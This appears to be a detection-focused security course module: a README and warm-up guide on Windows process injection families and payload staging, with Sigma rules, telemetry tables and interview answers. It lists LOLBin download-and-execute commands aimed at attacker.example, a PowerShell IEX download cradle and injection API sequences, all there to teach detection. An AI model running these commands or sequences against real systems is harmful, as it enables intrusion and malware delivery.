The pattern: every injection requires allocating writable+executable memory in a remote process or mapping executable content into it. ETW-TI sees that allocation. The kernel callback sees the thread or handle operation. No user-mode bypass removes both — Phase 07 formalizes this invariant.
The staging-strategy telemetry map
| Staging strategy | Artifact | Host telemetry | Network telemetry |
|---|---|---|---|
| Disk staging | File written to disk, then loaded | Sysmon EID 11 (FileCreate), EID 7 (ImageLoad) | HTTP/S download logged by proxy |
| Memory-only | Reflective load from socket / allocated buffer | Sysmon EID 10 / ETW-TI alloc | C2 channel (JA3, timing, URI) |
| LOLBin staging | certutil -urlcache -split -f, bitsadmin /transfer, mshta, regsvr32 /u /s /i:URL | Sysmon EID 1 (LOLBin command line), EID 3 (network from LOLBin) | HTTP to unexpected host from LOLBin process |
Concepts
| Concept | What it is | Why it matters |
|---|---|---|
| Process injection | Code execution in another process's address space | Technique foundation; generates cross-process observable events |
| Remote thread | CreateRemoteThread API — create a thread in another process | Most basic injection primitive; loudest; caught by Sysmon EID 8 |
| APC | Asynchronous Procedure Call — queued to an alertable thread | Quieter than remote thread; same alloc/write prerequisites |
| Process hollowing | Replace a legitimate process image with attacker code | Inherits the legitimate process's identity (PID, parent) — detection: unbacked memory |
| Reflective DLL | PE self-loader in memory — no LoadLibrary call needed | No disk artifact; unbacked image load is the residual detection |
NtMapViewOfSection | Section-based cross-process mapping — avoids VirtualAllocEx | Fewer alloc API calls but MAP_VIEW_OF_SECTION in ETW-TI still fires |
| LOLBin | Living-Off-the-Land Binary — signed OS binary used for attacker purpose | Inherits signature/trust of OS binary; command-line is the detection |
| ETW-TI | Kernel-emitted telemetry for memory operations | Survives user-mode unhooking; the durable injection detection sensor |
| AMSI | Antimalware Scan Interface — scans script/buffer content | Sits at PowerShell/.NET/.VBScript execution; bypass observable |
| Staging | The operation of getting code into memory before execution | Every strategy has a staging telemetry footprint |
| Pyramid of Pain | IOC durability taxonomy | Tells you which execution technique detection to invest in |
Labs
| Lab | Builds | Lesson |
|---|---|---|
| Lab 01 — Injection Technique Detection Mapper | given a technique name, return its API call sequence, required sensors, detection key, and Sysmon event IDs; compute coverage for a given sensor set; identify blind techniques | injection is a detection-engineering problem first |
| Lab 02 — Payload Staging Analyzer | given a staging event list (file create, network connection, image load, LOLBin execution), classify the staging strategy, identify host/network telemetry artifacts, and return detection findings | staging always leaves a footprint; the question is which sensor covers it |
cd lab-01-injection-technique-detection-mapper
LAB_MODULE=solution python3 -m pytest -q # 13 tests
cd ../lab-02-payload-staging-analyzer
LAB_MODULE=solution python3 -m pytest -q # 12 tests
Deliverables
- An injection-technique detection mapper that, for any injection technique in the catalog, returns its API sequence, required sensor set, Sysmon events, and detection rule; and that computes technique coverage given an org's actual sensor inventory.
- A payload staging analyzer that classifies staging events, identifies the telemetry artifacts per event, and returns a ranked list of staging findings with detection descriptions.
- The Operation Cedar Lattice Phase 06 artifact: the execution-technique and staging plan for the Meridian foothold — which techniques the engagement simulates, which sensors they generate events on, the detection that catches each, and the staging telemetry the engagement produces. All over synthetic metadata; no executable payloads.
- Fluency to explain every injection technique, its API sequence, the sensor that sees it, and the detection — and the staging strategies and their telemetry — in an interview.
Readings (primary sources)
- Windows Internals, 7th ed. — process/thread creation,
NtCreateSection/NtMapViewOfSection, virtual memory API family. - Microsoft Docs:
CreateRemoteThread,VirtualAllocEx,WriteProcessMemory,SetThreadContext,NtMapViewOfSection,QueueUserAPC. - MITRE ATT&CK: T1055 (Process Injection — all sub-techniques), T1218 (Signed Binary Proxy Execution — LOLBins), T1059 (Command and Scripting Interpreter), T1027 (Obfuscated Files/ Information), T1105 (Ingress Tool Transfer — staging).
- ETW Threat Intelligence provider documentation — Microsoft docs, Elastic Security Labs.
- Sysmon event reference — EID 1, 3, 7, 8, 10, 11.
- LOLBAS (
lolbas-project.github.io) — catalog of signed Windows binaries with staging/ execution capability and detection notes per binary. - Sigma repository —
T1055.*process injection rules.
Common Mistakes
- Describing injection without the detection. Every injection technique on every slide in an interview or client report must be paired with the sensor and the detection. "We used X" alone delivers nothing actionable.
- Confusing remote thread with APC. Remote thread creates a new thread in the target; APC queues a callback to execute next time an existing thread enters an alertable wait state. Detection overlaps at the alloc/write level but diverges at the thread-creation vs. APC-queue level.
- Claiming process hollowing is "undetectable." The
CREATE_SUSPENDEDprocess creation, the cross-process write, and theSetThreadContextare all observable via ETW-TI and Sysmon. What hollowing achieves is inheriting the process name and PID — not hiding from sensors. - Treating LOLBin use as low-risk. Sysmon EID 1 (command-line logging) plus Sysmon EID 3
(network connection) for
certutil.exereaching an external IP is a high-fidelity detection. LOLBin execution from an unusual parent (or with an unusual command line) is one of the most commonly detected initial-access techniques. - Missing ETW-TI as the injection residual detection. User-mode hooks in ntdll can be bypassed; ETW-TI is kernel-emitted and cannot be bypassed from user mode. If you claim a technique evades detection, name the sensor it evades AND the one that still sees it.
Interview Questions
- Walk me through remote thread injection — the API sequence, the process it generates, the sensors that fire, and the detection rule.
- What is process hollowing? How does it differ from remote thread injection, and what is the residual detection that catches it?
- What makes reflective DLL injection different from standard DLL injection, and why does it leave an "unbacked" image load?
- Explain APC injection: what is an APC, what does "alertable" mean, and how is it detected?
- What is
NtMapViewOfSection-based injection, and how does ETW-TI see it? - What are the three staging strategies? For each, name the host-telemetry artifact and the detection.
- Why does ETW-TI survive user-mode hooking bypass, and why does that make it the residual injection detection?
- You are writing a detection for "execution of a LOLBin used for staging." Walk me through the Sigma rule — log source, detection fields, false-positive handling.
(Full answers are in WARMUP.md.)
Portfolio artifact
Cedar Lattice Phase 06 execution plan: the injection-technique detection map for the
engagement's planned execution primitive (which technique, which API sequence, which sensors fire,
the detection); the staging plan (which strategy, which telemetry artifacts, the proxy/Sysmon
findings); and the OPSEC assessment of the chosen approach (which indicators survive, which are
default-on). All over synthetic metadata. Part of 06-07-payloads-edr/ in the
capstone portfolio.
Guides
- WARMUP.md — the from-zero deep dive: OS memory primitives, the six injection families (API sequence + sensor + detection for each), process hollowing in depth, reflective DLL mechanics, ETW-TI as the residual sensor, AMSI in the execution path, staging strategies and their telemetry, the Pyramid of Pain applied to execution.
- HITCHHIKERS-GUIDE.md — on an owned range: run benign Atomic Red Team tests for injection telemetry (T1055), observe which Sysmon events fire, identify the gap, close it with a Sysmon EID 8/10 rule.
WARMUP — Payload Development & Execution (Detection-Forward)
From zero to principal-level. Every injection technique built from the OS primitive up. Every staging strategy paired with its telemetry. Every technique ends in its detection.
Table of Contents
- Chapter 1 — The Execution Problem and Why Detection Governs It
- Chapter 2 — OS Memory Primitives Underpinning Injection
- Chapter 3 — The Six Injection Families: API Sequence + Sensor + Detection
- Chapter 4 — ETW-TI: Why It Survives User-Mode Evasion
- Chapter 5 — AMSI in the Execution Path
- Chapter 6 — Staging Strategies and Their Telemetry
- Chapter 7 — LOLBins: Living Off the Land for Staging
- Chapter 8 — The Pyramid of Pain Applied to Execution
- Chapter 9 — Misconceptions
- Lab Walkthrough
- Success Criteria
- Common Mistakes and OPSEC
- Interview Q&A
- References
Chapter 1 — The Execution Problem and Why Detection Governs It
What execution means at the engagement level
After achieving a foothold (Phase 03), escalating privilege (Phase 04), and mapping AD paths (Phase 05), the engagement needs to execute capability on the footholds: load code into memory, run it in the context of a privileged principal, and have it communicate with the C2 (Phase 08). This is the execution phase.
The word "execution" is sometimes used to mean "running an EXE." At the engagement level it means something more precise: getting a specific code sequence — the implant — into a process's address space in a way that the EDR, AMSI, and ETW sensors do not prevent, while leaving the minimum telemetry footprint that the engagement's OPSEC profile allows.
Why detection governs execution choice
There is no execution technique that is undetectable. Every technique:
- Requires OS primitives (memory allocation, cross-process write, thread creation).
- Those primitives generate events at the kernel boundary.
- Those events are observable by sensors (ETW-TI, Sysmon, kernel callbacks).
The correct framing: given this org's sensor inventory, which execution technique generates the smallest observable footprint at the sensors they actually have? That is an OPSEC and detection question, not a purely offensive one. And the deliverable is always: technique + sensors that see it + detection that fires.
Chapter 2 — OS Memory Primitives Underpinning Injection
All injection techniques compose from five OS primitives:
| Primitive | Win32 API | What it does | ETW-TI event |
|---|---|---|---|
| Allocate remote memory | VirtualAllocEx(target, ...) | Reserve+commit memory in another process | ALLOCATE_VIRTUAL_MEMORY |
| Write remote memory | WriteProcessMemory(target, addr, buf, size) | Copy bytes into another process's memory | WRITE_VIRTUAL_MEMORY |
| Protect remote memory | VirtualProtectEx(target, addr, size, prot) | Change page permissions (e.g., RW → RX) | (flags change; observable as modify) |
| Map section | NtMapViewOfSection(section, target, addr, ...) | Map a section object into another process | MAP_VIEW_OF_SECTION |
| Create remote thread | CreateRemoteThread(target, ..., start, arg, ...) | Create a thread in another process | (kernel thread callback) |
| Queue APC | QueueUserAPC(func, thread, arg) | Queue callback on an alertable thread | (kernel APC callback) |
ETW-TI (Event Tracing for Windows — Threat Intelligence provider) is the key: it is a
kernel-emitted provider. It records memory allocation, write, and protection events for
cross-process operations. Unlike user-mode ETW providers, it cannot be disabled by patching
EtwEventWrite in user mode — it fires in the kernel before the user-mode return. This is the
invariant Phase 07 formalizes: user-mode evasion does not blind ETW-TI.
Chapter 3 — The Six Injection Families: API Sequence + Sensor + Detection
3.1 Remote Thread Injection (T1055.003)
API sequence:
OpenProcess(PROCESS_ALL_ACCESS, target_pid)— get a handle to the target.VirtualAllocEx(target, NULL, size, MEM_COMMIT|MEM_RESERVE, PAGE_EXECUTE_READWRITE)— allocate RWX memory in target.WriteProcessMemory(target, remote_addr, shellcode, size)— copy payload.CreateRemoteThread(target, NULL, 0, remote_addr, NULL, 0, NULL)— start execution.
Sensors and events:
- Sysmon EID 10 (ProcessAccess): fires on
OpenProcess— recordsGrantedAccessmask and source/target images. APROCESS_VM_WRITEaccess from a non-system process toexplorer.exeis immediately suspicious. - Sysmon EID 8 (CreateRemoteThread): fires on
CreateRemoteThread— records SourceImage, TargetImage, StartAddress. - ETW-TI:
ALLOCATE_VIRTUAL_MEMORYandWRITE_VIRTUAL_MEMORYfor the remote operations.
Detection rule (Sigma):
title: Remote Thread Injection — Non-System Source
logsource: {product: windows, category: create_remote_thread}
detection:
selection:
SourceImage|startswith:
- 'C:\Users\'
- 'C:\Temp\'
TargetImage|endswith:
- '\explorer.exe'
- '\lsass.exe'
- '\svchost.exe'
condition: selection
tags: [attack.t1055.003]
3.2 APC Injection (T1055.004)
API sequence:
OpenProcess(PROCESS_VM_WRITE|PROCESS_VM_OPERATION, target_pid)VirtualAllocEx(target, ...)→WriteProcessMemory(target, ...)(same as above)OpenThread(THREAD_SET_CONTEXT, alertable_tid)— get a handle to an alertable thread.QueueUserAPC(remote_addr, thread_handle, NULL)— queue the callback.
The callback executes the next time that thread enters an alertable wait state (SleepEx,
WaitForSingleObjectEx, MsgWaitForMultipleObjectsEx with MWMO_ALERTABLE).
Key difference from remote thread: no CreateRemoteThread call → no Sysmon EID 8. The
detection relies on EID 10 (cross-process handle open) plus ETW-TI alloc/write events plus kernel
thread-notification callbacks for the APC delivery.
OPSEC note: quieter than remote thread because it does not create a new thread; relies on scheduler delivering the APC. But it requires finding an alertable thread.
3.3 Process Hollowing (T1055.012)
API sequence:
CreateProcess(benign_exe, CREATE_SUSPENDED)— create the decoy process, suspended.NtUnmapViewOfSection(child_handle, image_base)— unmap the original image.VirtualAllocEx(child_handle, image_base, size, MEM_COMMIT, PAGE_EXECUTE_READWRITE)— allocate space for attacker image at original base address.WriteProcessMemory(child_handle, image_base, pe_image, size)— write attacker PE.SetThreadContext(child_thread, new_ctx)— redirect entry point.ResumeThread(child_thread)— resume.
What this achieves: the process appears to be svchost.exe or notepad.exe in the process
list (inheriting the creation arguments) but executes attacker code. The child's address space
contains the attacker's PE, not the original.
Sensors and events:
- Sysmon EID 1:
CreateProcessof the decoy binary. - Sysmon EID 10: parent opens the child with
PROCESS_VM_WRITE. - ETW-TI:
WRITE_VIRTUAL_MEMORYinto the child process. - Memory forensics: the mapped image does not match the on-disk file —
pe-sievedetects this in live memory analysis.
Detection key: a process created with CREATE_SUSPENDED that is immediately written into via
cross-process write before being resumed — behavioral chain, not file hash.
3.4 DLL Injection (T1055.001)
API sequence:
1–3. Same OpenProcess/VirtualAllocEx/WriteProcessMemory as remote thread — but writing a DLL
path string (not shellcode).
4. GetProcAddress(GetModuleHandleA("kernel32.dll"), "LoadLibraryA") — get the LoadLibraryA VA.
5. CreateRemoteThread(target, NULL, 0, LoadLibraryA_addr, dll_path_remote_addr, 0, NULL) — cause
target to call LoadLibraryA with the DLL path.
6. Target loads the DLL; DllMain executes as the main thread.
What the target sees: a new DLL mapped in its address space, loaded via LoadLibraryA.
Sensors:
- Sysmon EID 8: CreateRemoteThread to LoadLibraryA address.
- Sysmon EID 7: ImageLoad in the target process — the DLL path is logged. If the DLL is in
%TEMP%or%APPDATA%and is unsigned, this is a high-confidence alert. - Sysmon EID 10: OpenProcess with PROCESS_VM_WRITE.
- ETW-TI: alloc + write for the DLL path string.
3.5 Reflective DLL Injection (T1055.001 variant)
Standard DLL injection requires the DLL to be on disk (LoadLibraryA reads from disk). Reflective
DLL injection removes this requirement: the DLL contains a ReflectiveLoader export function
that maps the PE from memory without calling LoadLibraryA.
API sequence (caller side):
- OpenProcess + VirtualAllocEx + WriteProcessMemory — write the entire PE blob (not a path).
CreateRemoteThread(target, NULL, 0, reflective_loader_offset_within_blob, remote_addr, 0, NULL)
ReflectiveLoader (within the DLL — concept only):
- Locates its own PE headers in memory.
- Maps each section to the correct RVA.
- Resolves imports by walking the loaded module list in the PEB.
- Calls
DllMain.
No LoadLibraryA call; no file on disk.
Sensors:
- Sysmon EID 7: the image load event still fires (the kernel image-load callback fires when a
PE image is mapped). But
ImageLoadedmay be empty or "unknown" — there is no file backing the image. This is the "unbacked module" detection. - ETW-TI:
ALLOCATE_VIRTUAL_MEMORYwith execute permission +WRITE_VIRTUAL_MEMORYinto target. - Kernel image-load callback: fires when the PE is reflected —
PsSetLoadImageNotifyRoutinegets the VA of the mapped image; the image path is empty (no disk file).
Detection key: Sysmon EID 7 where Signed=false and the ImageLoaded path does not exist on
disk — the "unbacked module" pattern.
3.6 NtMapViewOfSection Injection (T1055.002)
Avoids VirtualAllocEx by using the Windows Section Object mechanism (the same primitive the
Windows loader uses to map executables into address spaces):
NtCreateSection(out_handle, SECTION_MAP_EXECUTE|SECTION_MAP_WRITE, NULL, size, ...)— create a shared memory section with execute+write permissions.NtMapViewOfSection(section, GetCurrentProcess(), local_addr, ...)— map it into the attacker's process (local view, writable).memcpy(local_addr, payload, size)— write payload into the local view.NtMapViewOfSection(section, target_process, remote_addr, ..., PAGE_EXECUTE_READ)— map the section into the target process (remote view, executable).NtCreateThreadEx(target_process, remote_addr, ...)— execute.
Why this is attempted as evasion: avoids VirtualAllocEx / WriteProcessMemory call sequence.
But ETW-TI fires on MAP_VIEW_OF_SECTION for the remote mapping — so the evasion changes the API
names, not the observable.
Chapter 4 — ETW-TI: Why It Survives User-Mode Evasion
User-mode hooks in ntdll.dll intercept Nt* syscalls before they transition to the kernel. If a
tool patches the ntdll hook (direct/indirect syscalls, unhooking) it bypasses the user-mode
interception — but the system call still executes in the kernel.
ETW-TI events are generated inside the kernel, not in user mode. The Microsoft-Windows-Threat- Intelligence provider registers in-kernel callbacks for:
ALLOCATE_VIRTUAL_MEMORYPROTECT_VIRTUAL_MEMORYMAP_VIEW_OF_SECTIONWRITE_VIRTUAL_MEMORYQUEUE_USER_APC_THREADandSET_THREAD_CONTEXT
These callbacks fire in kernel mode before returning to user mode. A user-mode ntdll patch does
not suppress them. Patching EtwEventWrite in the attacker's own process does not affect the
kernel-emitted events. This is the core invariant: no user-mode evasion blinds ETW-TI.
Phase 07 (EDR Internals) formalizes this as the residual-visibility theorem for injection: even with all user-mode sensors blinded, ETW-TI and kernel callbacks survive. The injection-technique detection mapper (Lab 01) models this directly.
Chapter 5 — AMSI in the Execution Path
AMSI (Antimalware Scan Interface) is a Windows API that allows applications to scan content before executing it. It sits at the execution boundary for:
- PowerShell: each script block (after de-obfuscation) is scanned before execution.
- .NET CLR: script/assembly buffers are scanned at load time.
- VBScript/JScript (wscript.exe/cscript.exe): script content scanned at parse time.
- Office macros (with AMSI integration): macro source scanned on execution.
AMSI does not prevent execution — it provides a hook for AV/EDR to scan the de-obfuscated
content. The AV/EDR calls AmsiScanBuffer and, if it returns AMSI_RESULT_DETECTED, the runtime
raises an exception.
AMSI bypass (concept only, detection focus): The bypass modifies amsi.dll in the calling
process's address space — typically patching AmsiScanBuffer to always return AMSI_RESULT_CLEAN.
This is itself observable:
- An RWX write to the
.textsection ofamsi.dll(Sysmon EID 7/ETW image-load write). - A memory scan that finds the patched bytes.
- Behavioral: AMSI scanning stops reporting detections after the bypass — sudden silence from a process that was scanning is anomalous.
Phase 07 covers AMSI residual-visibility in depth (Lab 02). Here the key point: AMSI is not a kernel sensor — it is a user-mode DLL. It is bypassable. The residual detection for AMSI bypass is the bypass behavior itself, not the script content the bypass would have scanned.
Chapter 6 — Staging Strategies and Their Telemetry
Getting execution capability to a host requires staging — the operation of transferring the implant from somewhere (C2 server, another compromised host, an embedded payload) to memory on the target.
Disk staging
What it is: download or drop a file to disk, then load/execute it.
Steps: (1) Network download (HTTP/S, SMB), (2) file write to disk, (3) process create or DLL load from disk.
Telemetry:
- Sysmon EID 11 (FileCreate): the file write.
- Sysmon EID 3 (NetworkConnect): the download connection.
- Sysmon EID 1 (ProcessCreate) or EID 7 (ImageLoad): the execution.
Detection: file written to a user-writable directory (temp, profile) by a process that also made a network connection shortly before — temporal correlation.
Memory-only staging
What it is: receive the payload over a network connection or from an existing process in memory, load it reflectively, never write to disk.
Steps: (1) C2 connection, (2) receive PE blob over socket, (3) reflective load.
Telemetry:
- Sysmon EID 3: the C2 network connection.
- ETW-TI:
ALLOCATE_VIRTUAL_MEMORYfor the PE allocation. - Sysmon EID 7: the image-load event (unbacked module — no file path).
Detection: image-load with no corresponding file-create + Signed=false + on_disk=false.
LOLBin staging
What it is: use a signed, trusted OS binary to download and/or execute the payload, inheriting the binary's trust level and digital signature.
Examples:
certutil.exe -urlcache -split -f http://attacker.example/stage.exe stage.exebitsadmin /transfer Job /download http://attacker.example/stage.exe C:\Temp\stage.exemshta.exe http://attacker.example/payload.htaregsvr32.exe /u /s /i:http://attacker.example/payload.sct scrobj.dllpowershell.exe -Command "IEX (New-Object Net.WebClient).DownloadString('http://...')"
Telemetry:
- Sysmon EID 1: the LOLBin process-create with the suspicious command line.
- Sysmon EID 3: the outbound network connection from the LOLBin.
- Network proxy: HTTP GET to an unexpected domain from a system binary.
Detection: LOLBin process with staging keyword in command line (Sysmon EID 1) AND/OR outbound network from a LOLBin process (Sysmon EID 3). Both are well-covered by public Sigma rules.
Chapter 7 — LOLBins: Living Off the Land for Staging
A LOLBin (Living-Off-the-Land Binary) is a signed Windows system binary that has unintended capability — typically the ability to download, decode, or execute code — that an attacker exploits while inheriting the binary's signature and trust level.
Why they are used: AV/EDR products often allowlist system binaries by signature. A certutil.exe
download does not trigger signature-based detection on the binary itself. The detection must come
from behavioral signals: what the binary is doing (command line, network connection, file writes)
rather than what it is.
The LOLBAS catalog (lolbas-project.github.io) documents each binary's staging/execution
capability and the detection notes for each.
Key binaries for staging:
- certutil.exe:
-urlcache -split -f URL outputdownloads a file. Widely detected by Sysmon EID 1 CommandLine matching-urlcache+ Sysmon EID 3 fromcertutil.exe. - bitsadmin.exe:
/transfercreates a BITS job to download. BITS jobs are logged in Windows Event Log (EID 59, 60, 61 in the BITS-Client operational log). - mshta.exe: executes HTA (HTML Application) files, locally or via URL. Parent process is often a document or browser — Sysmon EID 1 parent-child anomaly.
- regsvr32.exe:
/i:URL scrobj.dlldownloads and executes a COM scriptlet. "Squiblydoo." Well-known Sigma rule on regsvr32 + remote URL argument.
Chapter 8 — The Pyramid of Pain Applied to Execution
| IOC layer | Example for injection | Adversary cost to change |
|---|---|---|
| File hash | Hash of the injector binary | Recompile (seconds) |
| imphash | Import table fingerprint | Add one dummy import |
| Tool name | "This process is calc.exe" | Rename the process image |
| Named artifact | Default named pipe / mutex name | Change C2 profile config |
| API call pattern | VirtualAllocEx → WriteProcessMemory → CreateRemoteThread | Redesign injection primitive |
| TTP | "Code injected into a remote process" (the behavior) | Redesign the entire technique |
For execution techniques, the bottom three layers (hash, imphash, tool name) are useless as durable detections — the recompile cycle is trivial. The API-call-pattern layer is where ETW-TI operates: the three-step injection sequence is a TTP-level behavioral observable. The top-level TTP ("code injection") is the detection rationale that justifies the investment.
Chapter 9 — Misconceptions
"Process hollowing hides the process from the task manager." No. The process appears in the
task manager under its decoy name (e.g. svchost.exe). What hollowing achieves is that the code
running is different from the code on disk. Memory forensics (pe-sieve, volatility) catches
this by comparing the in-memory PE against the on-disk file.
"Reflective DLL injection leaves no trace because there is no file." The image-load kernel callback still fires. Sysmon EID 7 still records the load — with an empty or unknown path (the "unbacked module" indicator). ETW-TI records the allocation and write. No disk trace ≠ no trace.
"APC injection is undetectable." No Sysmon EID 8, yes — but the cross-process write (EID 10)
and ETW-TI allocation events are the same as remote thread. APC injection requires an additional
OpenThread call. The difference is in thread creation, not in memory operations.
"LOLBins evade detection because they are trusted." They are trusted at the binary level — the binary's hash and signature are legitimate. The command line and network behavior are not trusted. Sysmon EID 1 CommandLine matching staging keywords fires regardless of the binary's signature. The LOLBAS catalog exists precisely because these detections are well-known.
"Staging in-memory means the blue team cannot find the payload." Memory-only staging leaves ETW-
TI alloc events and an unbacked image-load event. Live-system forensics (EDR memory scan, pe-sieve)
detects unbacked PE images in process address spaces. Memory-only reduces the disk artifact; it does
not remove the observable.
Lab Walkthrough
Lab 01 — Injection Technique Detection Mapper
Purpose. Given a technique name from the TECHNIQUES catalog, return the API sequence, required sensors, Sysmon EIDs, and detection key. Given a set of sensors, compute coverage (covered/partial/ blind) for a list of techniques and identify the best sensor to add.
Key data flow:
technique_info("remote_thread")→ returns the catalog entry for remote thread injection.coverage(["remote_thread", "apc_injection"], {"etw_ti"})→{"remote_thread": "partial", "apc_injection": "partial"}(both require etw_ti + others; one sensor present → partial).best_sensor_to_add(ALL, set())→ should return"etw_ti"because it appears in every technique's required_sensors.
Running:
cd lab-01-injection-technique-detection-mapper
LAB_MODULE=solution python3 -m pytest -q # 13 tests
Lab 02 — Payload Staging Analyzer
Purpose. Given a list of synthetic host events (process_create, network_connect, file_create, image_load), classify the staging strategy and return detection findings for each observable.
Key data flow:
lolbin_findings(events)— finds process_create events where the image is a LOLBin AND the command line contains a staging keyword (certutil +-urlcache).staging_network_findings(events)— finds network_connect events from LOLBin processes.unbacked_image_findings(events)— finds image_load events whereon_disk=False.classify_strategy(events)— "lolbin" if lolbin_findings non-empty; else "memory_only" if any unbacked image load; else "disk" if image_load of a file_created file; else "unknown".analyze(events)— returns{strategy, findings}.
Running:
cd ../lab-02-payload-staging-analyzer
LAB_MODULE=solution python3 -m pytest -q # 12 tests
Success Criteria
After completing this phase, without notes you can:
- Name the six injection families and their API sequences.
- State which Sysmon EID fires for each injection technique (EID 1/7/8/10).
- Explain why ETW-TI survives user-mode hook bypass.
- Explain AMSI — where it sits and why the bypass is itself detectable.
- Name the three staging strategies and their telemetry.
- Name three LOLBins used for staging and their detection.
- Apply the Pyramid of Pain to an execution technique detection question.
-
Pass both labs (13 + 12 tests green with
LAB_MODULE=solution).
Common Mistakes and OPSEC
Presenting injection without the detection. Every injection explanation in an interview or report must pair the API sequence with the sensor and the detection rule.
Claiming LOLBin staging is low-risk. Certutil + -urlcache is one of the most detected
patterns in enterprise environments. The LOLBAS catalog links directly to public Sigma rules.
Confusing "no file" with "no trace." Reflective injection has no disk artifact but has ETW-TI alloc events and an unbacked image-load event. Distinguish file-system artifact from telemetry artifact.
Missing the CREATE_SUSPENDED indicator for process hollowing. The detection for process
hollowing is behavioral: a suspended process created by a non-system parent, followed immediately
by a cross-process write. That chain is the finding, not the content of the hollowed process.
Interview Q&A
Q1: Walk me through remote thread injection — API sequence, sensors, detection rule.
Answer:
Remote thread injection is the most basic injection primitive. The sequence:
-
OpenProcess(PROCESS_ALL_ACCESS, target_pid)— acquire a handle to the target process. ThePROCESS_VM_WRITEaccess flag in the access mask causes Sysmon EID 10 (ProcessAccess) to fire, recording the calling process image, the target process image, and theGrantedAccessmask. -
VirtualAllocEx(target_handle, NULL, size, MEM_COMMIT|MEM_RESERVE, PAGE_EXECUTE_READWRITE)— allocate RWX memory in the target. ETW-TI firesALLOCATE_VIRTUAL_MEMORYwith the target process handle, the allocated address, and the page protection. -
WriteProcessMemory(target_handle, remote_addr, shellcode, size, NULL)— copy payload to the remote address. ETW-TI firesWRITE_VIRTUAL_MEMORYwith the write target and size. -
CreateRemoteThread(target_handle, NULL, 0, remote_addr, NULL, 0, NULL)— create a thread at the payload's entry point. Sysmon EID 8 (CreateRemoteThread) fires, recordingSourceImage(the injector),TargetImage(the victim), andStartAddress.
Detection rule:
title: Remote Thread to System Process from User Path
logsource: {product: windows, category: create_remote_thread}
detection:
selection:
SourceImage|startswith:
- 'C:\Users\'
- 'C:\Temp\'
- 'C:\ProgramData\'
TargetImage|endswith:
- '\svchost.exe'
- '\explorer.exe'
condition: selection
This fires on any remote thread created by a user-directory process targeting a system process — the behavior, not the binary identity. It survives recompile and binary renaming.
Q2: What is process hollowing? How does it differ from remote thread injection, and what is the residual detection?
Answer:
Process hollowing (T1055.012) creates a decoy process in a suspended state, replaces its image
with attacker code, then resumes it. The decoy process is typically a legitimate system binary
(svchost.exe, notepad.exe, dllhost.exe) so that the resulting process appears legitimate
in the process list.
Steps:
CreateProcess(benign_exe, CREATE_SUSPENDED)— the decoy process is created but not yet running.NtUnmapViewOfSection(child_handle, image_base)— unmap the legitimate image from the child's address space.VirtualAllocEx+WriteProcessMemory— write the attacker's PE at the original image base.SetThreadContext— redirect the child's main thread entry point to the new PE's entry point.ResumeThread— start execution.
Difference from remote thread: Remote thread injection adds a new thread to an existing, running process. Process hollowing replaces the image of a new, suspended process before it executes even a single instruction. The result is a process running under a different name and image path than what is on disk.
Residual detection:
The observable footprint is the combination of:
- Sysmon EID 1:
CreateProcesswithCREATE_SUSPENDED(the creation flag shows in Sysmon if configured; parent-child relationship is usually anomalous — e.g., a user-space process spawningsvchost.exe). - Sysmon EID 10: the parent opens the child with
PROCESS_VM_WRITEaccess — a parent writing to its own child immediately after process creation. - ETW-TI:
WRITE_VIRTUAL_MEMORYfrom the parent to the child's image base. pe-sieve/ live memory scan: the in-memory PE image does not match the on-disk PE — hash mismatch between the live process memory andC:\Windows\System32\svchost.exe.
The detection key: the CREATE_SUSPENDED + cross-process-write + SetThreadContext sequence,
not the content of the hollow.
Q3: What makes reflective DLL injection different, and why does it leave an "unbacked" image load?
Answer:
Standard DLL injection uses CreateRemoteThread with LoadLibraryA as the start address. The
OS loader then loads the DLL from disk — it reads the file at the DLL path, maps sections, resolves
imports via LoadLibraryA. The DLL must exist on disk.
Reflective DLL injection removes the disk requirement: the DLL contains a special export called
ReflectiveLoader. The injector writes the entire PE blob to remote memory (not a path string) and
starts a thread at the ReflectiveLoader entry point offset within that blob.
ReflectiveLoader (concept — no code): it is a self-contained PE mapper. It locates its own PE
headers (by walking memory from its current execution address to find the MZ / PE\0\0 magic),
maps each section at the correct RVA, walks the loaded-module list in the PEB to resolve imports
without calling LoadLibraryA, and calls DllMain. The entire operation happens in memory; no
file is ever written to disk and no LoadLibraryA or LdrLoadDll is called.
Why "unbacked": every PE image has a file backing on disk — the page-fault handler for code
pages reloads them from the file when needed. A reflectively loaded PE has no file backing: it was
copied into a private allocation. The kernel image-load callback (PsSetLoadImageNotifyRoutine)
still fires when the PE is mapped (because the callback fires on PE mapping events, not just file-
backed loads), but the image path it provides is empty or null — there is no file to point to.
Sysmon EID 7 records this as ImageLoaded = "" or ImageLoaded = Unknown with Signed = false.
That combination — unsigned image load with no backing file — is the high-confidence "unbacked
module" detection that EDR products alert on.
Q4: Explain APC injection — what is an APC, what does alertable mean, and how is it detected?
Answer:
An APC (Asynchronous Procedure Call) is a user-mode callback mechanism in Windows. A thread can have a queue of APC callbacks associated with it. Those callbacks execute only when the thread enters an alertable wait state — a blocking API call made with the alertable flag set, such as:
SleepEx(timeout, TRUE)— theTRUEis the alertable flag.WaitForSingleObjectEx(handle, timeout, TRUE).MsgWaitForMultipleObjectsEx(..., MWMO_ALERTABLE).
The OS delivers all queued APCs when a thread calls an alertable wait, executing them before returning from the wait.
APC injection exploits this: the attacker:
- Finds a thread in the target process that is likely to enter an alertable wait (GUI threads,
worker threads in thread pools, threads in
SleepExloops). - Allocates + writes payload to the target process (same VirtualAllocEx + WriteProcessMemory as remote thread).
- Calls
QueueUserAPC(payload_addr, target_thread_handle, NULL). - The next time the target thread calls an alertable wait, the payload executes.
Detection differences from remote thread:
- No Sysmon EID 8 — no
CreateRemoteThreadcall. - Sysmon EID 10 still fires on the
OpenProcess(withPROCESS_VM_WRITEfor the alloc/write) and on theOpenThread(withTHREAD_SET_CONTEXTfor the APC queue). - ETW-TI:
ALLOCATE_VIRTUAL_MEMORY+WRITE_VIRTUAL_MEMORYsame as remote thread; plusQUEUE_USER_APC_THREADif the EDR subscribes to that ETW-TI callback. - Kernel thread callback: the APC delivery is observable via
PsSetCreateThreadNotifyRoutine(fires on APC callback initiation in some EDR implementations).
The detection: cross-process handle open with PROCESS_VM_WRITE (EID 10) + ETW-TI alloc/write,
absent a corresponding CreateRemoteThread event — the "silent injection" pattern that signals
APC or section-based injection rather than remote-thread injection.
Q5: What are the three staging strategies, and for each, name the host-telemetry artifact and the detection?
Answer:
1. Disk staging. The payload is downloaded or dropped as a file, then executed from disk.
Host telemetry:
- Sysmon EID 3: outbound network connection (the download).
- Sysmon EID 11: file creation in a user-writable directory (the dropped file).
